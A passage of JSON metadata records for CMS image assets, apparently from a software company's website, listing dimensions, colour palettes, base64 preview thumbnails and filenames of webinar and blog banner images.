blue.png","path":"images/sczeoy4w/production/6b0b46c487ca553ab979fd65a87d2577b271fb4f-1200x628.png","sha1hash":"6b0b46c487ca553ab979fd65a87d2577b271fb4f","size":219918,"uploadId":"iHt3sNFAJUSM36qpKfCGVLRzwf6JPwHt","url":"https://cdn.sanity.io/images/sczeoy4w/production/6b0b46c487ca553ab979fd65a87d2577b271fb4f-1200x628.png"} {"_createdAt":"2024-04-02T20:31:16Z","_id":"image-addb97f178e9ed93b6e1668b31464ff4dd3a771b-1200x800-png","_rev":"b10YpgAcnav6fVbD8aaJp1","_type":"sanity.imageAsset","_updatedAt":"2024-04-02T20:31:16Z","assetId":"addb97f178e9ed93b6e1668b31464ff4dd3a771b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VMC6la~SE1D?Rh?Q%MIuITRlRkWEa_RkWE%NxtWAM}WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":800,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADtUlEQVQ4jVWSW0yTZxjH353QSLLJEjyUKd8HLYWW92sLAl0ZMAIqICgnoUAp65lCoS20CJQK5aC0nAq8BQs4o6I7IDPLLpaYLVuyXZglW7JdLPGCbFmi2S6WZWabM8LzLOA04Ul+t7/8//k/pLZG9MLUYG7y0sQp/2qk4d7H1+z4+a1+/HLdj3c+6Mb1FSNemam+vzB2Ym7Gr84YccteqRERMuZVkt9vpBNNbQnZdXXatMPGd1LbnI6Mu4O+or+Xw1pYXzbirUvNuHapCZcmKtHfrXnstKX/6LRIhzx2mSTk07yIiKTboSTfnd/tIyaDSqvVptxp0Mke2Rx5OB3UwvplI9xeaYC1pSaYvVgNdms26hrET6x6ybeuVmrscr+5/72ZYmJq5MnAaAXhKHsOaTUpbzbWpTyor5eiwZINo0NnYDXagh9e1sHqYhMGAxVgM2eBXitFm076Z6uBrhiMmXLysonkZGjJifKWHRH/TOhqy9wwNsse6RtlaLVkweBAOYbH62FytBKnxqog0F+CbeYsaNXLsdOUvtluEr6wGYXiib7YlwpOOgk+Js/TbUvJiK/wnz533qazNRfPuUtgatwAE2N69PeexgtDdRgcboQ+dwmc6ygAn6sQvB3Hf7CZayw5+SOJCWnRuNTM6ZhdlUPDlQ+Heis2+1yVGBq2wbsL/RCdccBcyIgLkzaMhrsgGLBDl6MJrKYW0DU7fikuO78iUc11cDRyKknBDu4S+nvqv/d0nv3L32vG6HwArkT6cTFogpVpKyxNWGBp2oXTwWEwmX14vKx3662iwAOqnvqMF9h1jkY8vMDE21WfQbo79bNdnfoNj9uAPq8ZetqrwGUoAK+lCD3mQnAaS8BmaoPyqkFQvx34V6m5eC8lY/ZTjrL3eYH18QKT7Eo4OOAu6vFab+qayv4oyqeoVr0BatWhHY7ReFCkHgIhPQcVWbYtpSbwqyx76uskxfxHHGU3eIF185TxO4MoIk+Fiwuh1zxeS/WZ03m3VfTIb5Kk/U8kKa8il7wPRQkxePBAzFaCKPGhWKb9Ke3Y2F2xav4TXmBrHGXLvMB0HGUHeCFCtnn6h5120tbe+HrpyZzSDCExnJYa/5WMxm2I02LvH+H3/CwSxXyTIIq/mpx6dlisnBznhUiEoyzMC8zBUabgKNvDCYzssC0szc8kbruaaDKle2VSkVQmj2+QK+JCUnns1aSUvXNHuRhLwuFYFSfRH+WF+VyOMh1PWS1HmZyjbN9O3f/TcUKE/Ac7GJs9CMXcUQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505232","foreground":"#fff","population":1.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#151d63","foreground":"#fff","population":8.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#151d63","foreground":"#fff","population":8.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aca4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4d9ac","foreground":"#000","population":0.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c64ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bea75f","foreground":"#000","population":1.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"London AWS dinner.png","path":"images/sczeoy4w/production/addb97f178e9ed93b6e1668b31464ff4dd3a771b-1200x800.png","sha1hash":"addb97f178e9ed93b6e1668b31464ff4dd3a771b","size":967242,"uploadId":"8BXtZvnMCf0erEU6NA6I6rssNBDLmIbc","url":"https://cdn.sanity.io/images/sczeoy4w/production/addb97f178e9ed93b6e1668b31464ff4dd3a771b-1200x800.png"} {"_createdAt":"2024-10-03T12:43:59Z","_id":"image-427bddd6d1cbeb833005f122954186dbecd481bf-1102x693-png","_rev":"j8W1neSpXsNKao8GqIXZ4U","_type":"sanity.imageAsset","_updatedAt":"2024-10-03T12:43:59Z","assetId":"427bddd6d1cbeb833005f122954186dbecd481bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAPQ880000_N000000~qt7t6004n-;-;M_004n?bogWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5901875901875901,"height":693,"width":1102},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIElEQVQ4jV2Sy2tcVRyAL4oLgxZT8R8ovsjahSvtpi7UgrgodCWIS124si1OGiVTxYI6MxGdti5EhSgU06AS+goUpJK0TZpI09gypuZmMnnc3HvP+/F7yB0liouPc87ifHznkVw4O5V8+WEzGa2dTOqffpt8Pj6dfDE+nYx9fT5pfDXVH/e/9lHSzfKEme/vrufPXptbaU1d+O3i5E/zF3/59e7l9V75HSIeZuaB5MCh9+57/lDt0WdefXff0MHaE0+/NLzLUy/W+gwdPP7kvheOPX7gjU+Gfrx88/WZ650r01eWsvOXFndmr3eKjc3yFgC+zcwPJ61TkwMnx75/5f3G+Me1xtnTw62J9nBzol1r/NCuNSfax1vn2iOfTbZHxibb9fbPZ85dmpu60+lu3Puzx3+sdLnXy1hp20XEo8y8J7l9e2Vwfn5pePbGrZWZm3fUzMLd8uqNZXF1bllcW+yI+aV7YmF5VSwsp2Lx91R0Vjd1lpexKAoqihy11hxjTInoSF/ond+rpDwhhcyU0pxnOffWe7y1ucVKKvbOs/eBgw8cq7mxrJXmv4UFGWMq4dpuYYxx0Bg7aq3d8taxykrMuhu0k2VktSavDBkhySpFsRQU85KMlCSEICkFOecYANaI6CgR7UlCCINam7oxZruqMaWkfHOb8myHlZBspWJVyn5tqBCKtVQspCSlFFX1iLjGzP8KjTF1a+12CIGN1lTmOYmiYC0FW2PYOs/WBg4ucnChklNZlv8IfSVMmfnIrtBaW3fObccQ2FpDSpRUyYySXN2RcZG1jexs7N+nNoaV0mStpSqiKiSiY7tC59yo934rxmqTQSlKlGWJSkp01qL3EX2IGCP0CSFgjNU6IgAAIi4R0VtM9FAl3Ou9PxFj3AEAdtayFIJlKarjc/CeIUZGACaiqqZ61f9SAMA3hPgcMz2QAMAjMcZ3EHERAbrO2lUlRKqlTL11KcSYYoSUEKu/1gcAUwCoWAOAWQB4ExEfY+YkQcQBRHwZET9AgFZwvuG0aTpjmsG5JoTQxBCbCNBExP/TQsQRRNyPiA8SYvIXwAdskU76Jo0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3263","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072464","foreground":"#fff","population":2.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#072464","foreground":"#fff","population":2.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac0a2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cfcb4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f66a2","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc2c3c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Plain ITDM 3.png","path":"images/sczeoy4w/production/427bddd6d1cbeb833005f122954186dbecd481bf-1102x693.png","sha1hash":"427bddd6d1cbeb833005f122954186dbecd481bf","size":195796,"uploadId":"WnLkMAdUGANXemhSjD6crjYgE1TzMa1s","url":"https://cdn.sanity.io/images/sczeoy4w/production/427bddd6d1cbeb833005f122954186dbecd481bf-1102x693.png"} {"_createdAt":"2024-02-09T11:19:20Z","_id":"image-906815e0731003069c3644d56116c4c9b9c7919d-2500x1308-png","_rev":"aqN8LslQ3cZYmtCXIvWwyO","_type":"sanity.imageAsset","_updatedAt":"2024-02-09T11:19:20Z","assetId":"906815e0731003069c3644d56116c4c9b9c7919d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB6u6;xoMvjZWC?docM{bIWCt3aij[ofWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACHUlEQVQokU3Pe1MSURjH8X0FsLtnl72dc1aXvWCCFtg0DVQqyU2lWBABuQuIhImXEExTApqhsYmZ0ppmmt5qIzZO/z+f728eghISwlQGaXmolpBewUZddjQV56E2d2I8fO9wX8wsfDTcA23+g+I8Vmb3ldkDqDcAzJN8kmDRpmuhvhg8eRHoev3dZy/PF4O94KtRJPYlHBuvJb6vJ3+GzR/+1fFSeOiP9JYjQ4/vAmpNAEuEDW+6nzaj8ctoor+ydrlqfnqdvIqnx4mtb2bmOpn7lS7/SeR++9e+LvjOPN7u4+dD15MBdnR4+xEBpOSsp74c6iyFTn3+02C0v2qOgtFRYP3zyvpVIDqOxG9CsZtH3gHU93mlCY0TSe8IalvSzwgrF+fkNNYKWC9jo6q59oz5A9V1qLra2lxXmz93uHuGu49nurapNwBVAa4CVGHlOjd9QFhspsUWt3IbJJ+ixCyAJQZVWbxrm9rjplu8/Z2gdkT1lFOOWLxDwwIl5igxS0t5Fu/8h4UUfY/lO/yWU1q8/VhQ29x0i0Hbk3oZoMrkrEZYOZPl4zxKcXKOxQUAS+BuWW6y8i6D/4VYuUFLRUrYmqQbAJZoMUsALmZH5gNHznDVkFZh0ATLE4xrtJSjxTwDKwyqUmKWFNIM2mZwjRIzVi5xixUYcxhZzVmF6i2+/5nFO5SwRfIpWioCWCaFjJXfBLBISwWS37DYzL+cnpC2djoaegAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353167","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04246c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5d8e9","foreground":"#000","population":5.7,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d8e9","foreground":"#000","population":5.7,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777dbf","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232e90","foreground":"#fff","population":2.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How_to_sessionize_events_with_Apache_Flink_social_media.png","path":"images/sczeoy4w/production/906815e0731003069c3644d56116c4c9b9c7919d-2500x1308.png","sha1hash":"906815e0731003069c3644d56116c4c9b9c7919d","size":184477,"uploadId":"RpYQ5xbhPD6I5jIL8jefMi8CJa6qMtiU","url":"https://cdn.sanity.io/images/sczeoy4w/production/906815e0731003069c3644d56116c4c9b9c7919d-2500x1308.png"} {"_createdAt":"2024-01-23T13:19:45Z","_id":"image-9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db-1200x628-png","_rev":"VeNKqGNmt13PzvGhqjv9is","_type":"sanity.imageAsset","_updatedAt":"2024-01-23T13:19:45Z","assetId":"9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47d;h?29E-mr:%jR%M^R:NL00M|$#D+R%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClklEQVQokR2SW08aCQCF5xdsNgpymQEcmBlmhsvMoIigYvHacVNbMdY2Nk3WLUGxRQVvgKKsCyuatu4l3Z/7bcLjOQ8n3zk5ws/+HQLyHrKxj5aqoiQPmdRrKMljEtNXpLLXJLNdUrke5tQ9cqKHpHUJqi0CyiVBtU1QvSagXOGLniGMBd8SNfexZj4zVTjFyTewc2fMFDsUV+9ZWB1QWBqQXx6SKz0xvfCEMzfEzvdx5vpY+SGq1UeK346CBY/0jnS2xov1K5bda5bcLktuD/fNA+X3z7x++xcv33xnbfOZtc1/cLf+Y6P8A3frbzbK/1La+EFy5isRc0DYfEAYF3cx7Cqziw0KpXMKpStyxRbzy7esvXpg5ZdHFlYfmF99pLj+jcWXz7xwv7K4PmRu5RE7P0RO/kFI7xMxnxA84i7WdIX5xSOsbA01VSOW+IyWPiUxdYlut9CsNrPFO9yNAfOlwWhTM9NGd66ZNDuIahspfkfY+BNBjH5g83WTT/sdltYaGM4XdPsYM9NEdy6QzXOi5jlbbpvObz32tgdMFe6wcl2s2R6a02MycUPE6BI27hF8kfeUlo/Y2TkjX6yjpmto6Tpxu4GaahLRm0Tix6wUjjjYrPNqpYWZaaHZbfTMHZrTJ5b6nYh5g6h1EMZ828Rju9jWr2ipCiG1Qlg7GFU2Mheo6QsktU4kVsHQq0TjdQLREwKxJpLWGVGF9FuCyiX+aBNhbGILWSoT1z4QMyuIyickpUrcapDKtjCcFiH1GE+oiid8yESkzsTkyehzQfUGKd4jqHRGekI+RfjJW2bct41X3MUb2mNc+ogntI9fPkBUviAqJ/jlOt7wId5wDZ98gk9u4I9dIGpdRO2WQOwSX7Qx8v8H2P9rFA3hs3oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#25264f","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c7c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cac4d6","foreground":"#000","population":8.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac4d6","foreground":"#000","population":8.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777ec4","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e99","foreground":"#fff","population":2.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven x Atomico Webinar.png","path":"images/sczeoy4w/production/9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db-1200x628.png","sha1hash":"9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db","size":228267,"uploadId":"PuTxdP4taSmCLUpatfFsO4URh7M7GQc4","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e0d79398a3a2e5c4f62c2e3e1347c9905c2f9db-1200x628.png"} {"_createdAt":"2024-01-23T14:42:16Z","_id":"image-15f81941c2e629b027e90d614910d6a2a3927fdc-1200x628-png","_rev":"7qeFKv67V7UXtPEzbnYilM","_type":"sanity.imageAsset","_updatedAt":"2024-01-23T14:42:16Z","assetId":"15f81941c2e629b027e90d614910d6a2a3927fdc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M58g%i-u00?F$_yG-;xV9aIXbbRmMxxwoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnUlEQVQokR2SW1MaBwBG9xd0JhpCuK2yy2VdWFRgWQMIATUqkWIWpWlInFzUNImmSogJhqtyS9TRjG3Hhz72f56OvH4PZ843cwSbu0wsecByvsHqepvsapO59DHxTJN4pkM02Sae7ZNZvSCxeEFy6Yr5Rz+JL5yhxU6YDDRx+OrY5K9YpSqCXXrOg3SFNbPNeqnHY7PLSqFHoXTOeumSlcI5v5auKZZvWF7/i0zumuzja1LLF4TmTnEHOrj8HRy+JnZvHcHmfo6ePGAx942VQpt8sUd+YzgCFkqXrG1cYT77G/PZDZnVKzRjgDJ7gne6waRaR5w6RZzq41L6iOoQ4a7zKf7QLjPGPrNzB+jJI4zUMbFUg1iqhZE+Jb4wJLF4RjgxxBO6Narh8FaxyUfYvQ2cvg4upceEeoZw5/4mSnCLufguWuQtvtAHlJlD1HAVZeYIOfgFb6iGkWyysHiCnuigzNZHm0c7RtYayFoLWesyGRgijNk2SCVfUN7c5WH2DzT9I9PGZ8LxGppew61+xj1VIbdUZa/8FTPfQk+2CcfbROe7RFPficwPCcb6SFoPYex+ESP6lELuJUbiDXLgLXJgD692gCf4CZevguj7yNLDfd79XuVJvkkk3kLTGwT1E4KxIWp0gKS1cPrrCGP3TPzSBuGZLZTQNnbpNXddr7GIO1gn33NvYn8EXMt/4/DDD4qbw1FKIaNNQO/ime4jKm1sni9YpU+3wCdIThPF/wJPYAe7/IZxxyvGndtYxHdYxD3caoWXry64/PEf27v/8CDbI5YeoKfPUaPfcSmNUYNW9yHCLxaTcWsRi+M3LK4y484txkbAHSzieywT+6PbucKAPw//Zc28RI00mYrcGg7wTndxeGtYpQpWd4X/AdKOdOve8I1IAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252651","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":7.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d6e3","foreground":"#000","population":7.99,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d6e3","foreground":"#000","population":7.99,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767fc3","foreground":"#fff","population":1.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3745e","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e2886","foreground":"#fff","population":7.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Whats's new with Aiven webinar - Q4 2023 - Q1 2024 (4).png","path":"images/sczeoy4w/production/15f81941c2e629b027e90d614910d6a2a3927fdc-1200x628.png","sha1hash":"15f81941c2e629b027e90d614910d6a2a3927fdc","size":281354,"uploadId":"uASpfHvVFPrtYyH7Va6EYHAzWwIzZZcD","url":"https://cdn.sanity.io/images/sczeoy4w/production/15f81941c2e629b027e90d614910d6a2a3927fdc-1200x628.png"} {"_createdAt":"2024-01-23T14:45:02Z","_id":"image-4b505cc3e46f4803f07127cada2a5e8842d75397-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcp6UPOP","_type":"sanity.imageAsset","_updatedAt":"2024-01-23T14:45:02Z","assetId":"4b505cc3e46f4803f07127cada2a5e8842d75397","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M48;Zm?200~U?Et:?b%J4:9cIoRoV@o%R$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnklEQVQokR3S21IaBwCA4X2CzlRDCEdhl4XlsItBYA3HQmxVosGioU6INnhK28QWCTXBsAjKyURqHJtMLtq7vOefkRf45r/4BYu7QjxVY3HVYHmtQ365zXz2hESuTSLXJZrqkMgPyC2PSS6MSf34kfRP1yQefkCNn+EKtrF5W1ikt5jFBoJVfMaDbJ2VUoe1cp9HpR5LxT7F8iVr5SuWipc8Lt+wXvnC4tq/5Ao35B/dkFkco82f4w52cfi62LxtrHILweJ+RixVY6HwjqVih9X1PqsbowlYLF+xsvGR0tNPEzBXuEbVhyj3z5DDBq5AC6f/HKd/gEMZ4AyMEO7YN/FpB8zqh9yfrxFLHaNnTohnDOKZU/TsOYmHI5IL74kkR3i026ImNrmBRTrGKhvYvV0cSp+ZwAeE7+89QQltM584QJ17gVd7iTJ7RCDSQJk9Rgq9wRt+Rzo/YOXxmGRuhD9iIGtNPOoJkmogqadIag9XcIQwZdkgk9qi8uSAH/K/ocb+JKz/TSTRRIs3cfkbeLW37Gz9w9j4n93qJ/Rsj0iiQzTdI5q5YC49IhQfIKp9hKl76+jRTYqF5+jJXaTgC6TgK2S1hif0Grt8hCfUoFq54LL1heqv18TSXUIxg1DsjFB8RCA6RFRPsftaCFN3S/jEDSKz2yjaHlZxhzuOHUzOfcyul9ydOcSl1CiX+xjHn9l8Op6spOkdgrEenvAAp9LB4nmDWXx9C/6MaC+h+LbwBPexSrtM26pM2/cwOX/H5HyFO1DneXXM1fuv7B185kG+Tzw7JJa9JBC9wKEYkwfN7iOE70wlps3rmGy/YHJUmLZvMzUB9zE5/8A0c4jDW6dQHPLX0X+slK4IzLXxz90WDpHDPWxyE7NYx+yu8w0sLHecNrrZlQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242651","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":7.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":7.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceab9a","foreground":"#000","population":0.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767fc3","foreground":"#fff","population":1.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656c99","foreground":"#fff","population":3.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2464b","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Whats's new with Aiven webinar - Q4 2023 - Q1 2024 (5).png","path":"images/sczeoy4w/production/4b505cc3e46f4803f07127cada2a5e8842d75397-1200x628.png","sha1hash":"4b505cc3e46f4803f07127cada2a5e8842d75397","size":277071,"uploadId":"kpjN3a38mgCn8SoLpQPdAnT6lwm0ETbc","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b505cc3e46f4803f07127cada2a5e8842d75397-1200x628.png"} {"_createdAt":"2024-05-15T09:00:05Z","_id":"image-87dd33b055fb077bfa43abc8b4d913eba1671e19-1200x630-png","_rev":"RIpKXTkqwHOEY4MEa8sSg4","_type":"sanity.imageAsset","_updatedAt":"2024-05-15T09:00:05Z","assetId":"87dd33b055fb077bfa43abc8b4d913eba1671e19","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67d^v~eISIARP%itQWAR+Rl4TD%xuxvoH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACkUlEQVQokT2T61MSURiH9y+oVNhlwWWXZbkI3soSJxEVRVERFcfUpppulnfxkgoohImKTlP/8dOcY/rhnTnny3Oe3/u+R3miFniqLdKiv6HFu0qr7z0u4xNu/zdUawPN2kGz9/EEf+ANlfCFz/GGz9GdsixvqIIePMFjH+GxD1HafEuEOr/Qm9gm/mKLSM8W8b59egdO6Hx1SiB2JIFa4AhPsIQeOsMbOkN3SniCJ/+h5UeoopkrJFJFphdqTMxWSU9Vmcj/YqbQJJO7oS9ZI9xTxuk+w+mu4fRcYHf+xBcWwGO8oXN8EXGvyocUPfCWgeF74OziBTOFS3KL1+QWb5mca5KZvSWT/00m/5fh7B+GJv/yMtXEipWkVXukjtHRwIg28MduUDzmKq+Su2RyFbL5Gtl8nemFq/+G14xkr0lNNElmbhkYvSMxckd3oo4ROZQRvdKwjhG9xB+/vY/cn9wjnS2RnqqQyf1ker5BfumO7FyT/lSdcG+ZYFcFu6uKGTvD6xygimEFxLCOZT9FZGGqeCxhuMfYVJl0tsL4TI2p+cZ95HyT1MQVr9MNEiNXdA9cYnZUUK093OY2mn0gYaLEtEV8RfUv09X3neToIcmxEwbHSgxlzhmerDM4Vic5fkl6+obhySv6khdY8RJqYA/V2pV2vnBV1sO0FZdewLFX6Oz6Quz5JsH4Bv7IOmZ0GzNaxOo4IBDbx+zYxQgX8QSLEqYFitJMWEngw9q4tHmCxgLR8Duc2Bq6/ZlW30dafV9x+ddxm1u4/Ju0tX+jzVjHbe3IyJp9KNdEAEVcAdMCByjP1AXcegGtfRnV/w6X8YG29k+4jDXc5oZsvihxdpub0kz07jFupIbunMpfIn7KP/8kiEsH977dAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373966","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":10.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":10.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcec","foreground":"#000","population":7.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d82c2","foreground":"#fff","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b7196","foreground":"#fff","population":1.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":9.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":" Why every business needs an AI Tactical Discovery team.png","path":"images/sczeoy4w/production/87dd33b055fb077bfa43abc8b4d913eba1671e19-1200x630.png","sha1hash":"87dd33b055fb077bfa43abc8b4d913eba1671e19","size":195324,"uploadId":"sbHp9XgR3nuWobaulhz0hixR5ObTdATj","url":"https://cdn.sanity.io/images/sczeoy4w/production/87dd33b055fb077bfa43abc8b4d913eba1671e19-1200x630.png"} {"_createdAt":"2024-01-30T08:09:59Z","_id":"image-8dbfcaf69798941db9b92513aa8480d8aa04b166-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ9mU01","_type":"sanity.imageAsset","_updatedAt":"2024-01-30T08:09:59Z","assetId":"8dbfcaf69798941db9b92513aa8480d8aa04b166","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Ad1:0J-f=_02~V9v%M%LE500^$W?NL^$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACpElEQVQokUWS20tTAQCHz1/QQ2FzN3P3eXaztrO5XFMb6pyblzOLwpIIK1OreZ3TnbOd6aatpXahIIOghyK6QEUPPdVDEP0D/TtfNImefg8/+OCDT3AHrjNxscpgRsEbmscXukMgsownuIzNu4jBlkNnWaDVtoLeXsDoVHEEqgRPlwmFZwiFZ/GHFU6IavMXnL5p5AtbZLIakfgSXT2rxBJFor0KPqmARVzG7FrB7FrDYC9g9VVIyU9ZmL9L/uoVNmZvc2v+MbH+PUwuFcFovUxXzyJ9yQKxRJ5YYp2egRLx/jLRvjLhuIYU3yQQ3cTiUQhE66wpH3h/cMCn7Rm+P6vw+dVnpudeY/XXEAyWS4TP5EiOKKTGNFJjmwyNVRkc2SY5WmdY3mVofJ8zA/dwdWqE4vfZbnzlx8cP/Hxa4PebPX59/cZC/iPOU7sIJvsU3X1LDI+XScsV0tkqmewOw/Jd0tkGI+f2ScmHQGenRkewxs3cW969/MSXR5t8eVLj4NEbspMvsPobCEbboXJyVGVorMywvEVmYod0tk4me5/0xB7piQf0Z/bxRaq0ixrRxEOmbzwnd0Nj5so6I+M7eKQaZvcWgr59kpPhOeKJFXoGCpwdUulPV0iOHionUnUS6QZ9qd1DoEfDI9WJ9O4idVfwS0UcfgWzq4jRqSAcN5zD475MKDTDya47+KQcwe48idQWvckqnV0qYlChI1j